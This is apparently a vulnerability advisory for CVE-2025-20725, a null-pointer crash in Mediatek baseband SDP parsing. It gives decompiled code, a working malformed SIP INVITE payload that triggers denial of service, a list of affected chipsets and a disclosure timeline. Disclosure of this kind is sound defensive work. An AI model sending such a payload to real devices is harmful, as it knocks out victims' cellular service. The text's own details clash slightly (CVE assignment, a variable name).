An attacker sending a malformed SIP message over VoLTE to a device with a Mediatek baseband can trigger the vulnerability described here.
The impact is DoS in the baseband, triggered by malformed VoLTE message such as SIP INVITE or MESSAGE request.
The vulnerability described in this advisory affected a wide range of Mediatek devices. This vulnerability is assigned CVE-2025-20725.
Vulnerability Details
Crash happens due to a NULL access.
void sdp_msg_create_negotiation_sdp(...) {
sdp_cpy = sdp_msg_struct_copy(sdp_msg); // [1]
if (sdp_cpy == (sdp_message_struct *)0x0) {
...
return;
}
media = sdp_cpy->m;
if (media != (sdp_media_struct *)0x0) {
media_orig_p = sdp_msg->m; // original media
while (media_orig_p != (sdp_media_struct *)0x0) { // [2]
tcap_p = &media->tcap;
if ((operator_id != 0xec) || (iVar4 = strcmp(media_orig_p->transport,"RTP/AVP"), iVar4 != 0)) {
sdp_msg_remove_attribute((short *)media->other_attributes,"acfg",(char *)0x0,0,0); // [4]
...
}
...
media = media->next;
media_orig_p = media_o_p->next; // [3]
}
}
...
sdp_msg_pack_media
for(; media != (sdp_media_struct *)0x0; media=media->next) { // [1]
if ((media->is_present == KAL_FALSE)) {
continue;
}
if (media->transport[0] == '\0') { // [4]
continue;
}
}
The function starts with copying the SDP structure (at [1], sdp_msg_struct_copy basically packs and unpacks the SDP message). The target will be returned, but it’s modified in-place.
At [2] it can be seen that the loop is until the original structure ends. However, no check is in place for the copied structure inside the loop (there is a check before the loop). This is a problem, because at [3] they are iterated in sync, but if a media element is missing from the copy, the original structure ends, and a null pointer is dereferenced at [4].
Example payload
Change any valid INVITE-flow message SDP contents to contain the following:
m=application 0 0
e.g.:
INVITE sip:192.168.101.2:50033;transport=tcp SIP/2.0
From: <sip:[email protected]>;tag=ttecbsI
To: "0010187049"<tel:0010187049;phone-context=ims.mnc001.mcc001.3gppnetwork.org>
CSeq: 1 INVITE
Content-Type: application/sdp
Content-Length: 784
v=0
o=0 0 0 IN IP4 0
s=0
t=0 0
m=application 0 0
m=application 0 RTP/AVP 0
Affected Devices
Includes most, possibly all, of the following devices:
MT6739, MT6761, MT6762, MT6762D, MT6762M, MT6763, MT6765, MT6765T, MT6767, MT6768, MT6769, MT6769K, MT6769S, MT6769T, MT6769Z, MT6771, MT6779, MT6781, MT6783, MT6785, MT6785T, MT6785U, MT6789, MT6813, MT6833, MT6833P, MT6835, MT6835T, MT6853, MT6853T, MT6855, MT6855T, MT6873, MT6875, MT6875T, MT6877, MT6877T, MT6877TT, MT6878, MT6878M, MT6879, MT6880, MT6883, MT6885, MT6886, MT6889, MT6890, MT6891, MT6893, MT6895, MT6895TT, MT6896, MT6897, MT6899, MT6980, MT6983, MT6983T, MT6985, MT6985T, MT6989, MT6989T, MT6990, MT6991, MT8666, MT8667, MT8673, MT8675, MT8676, MT8678, MT8765, MT8766, MT8766R, MT8768, MT8771, MT8781, MT8786, MT8788, MT8788E, MT8789, MT8791, MT8791T, MT8795T, MT8797, MT8798, MT8863, MT8873, MT8883, MT8893
Timeline
- 2025.06.23. Bug reported to Mediatek PSIRT
- 2025.07.23. Mediatek confirms vulnerability, does not assign CVE due to low severity
- 2025.10.01. Advisory release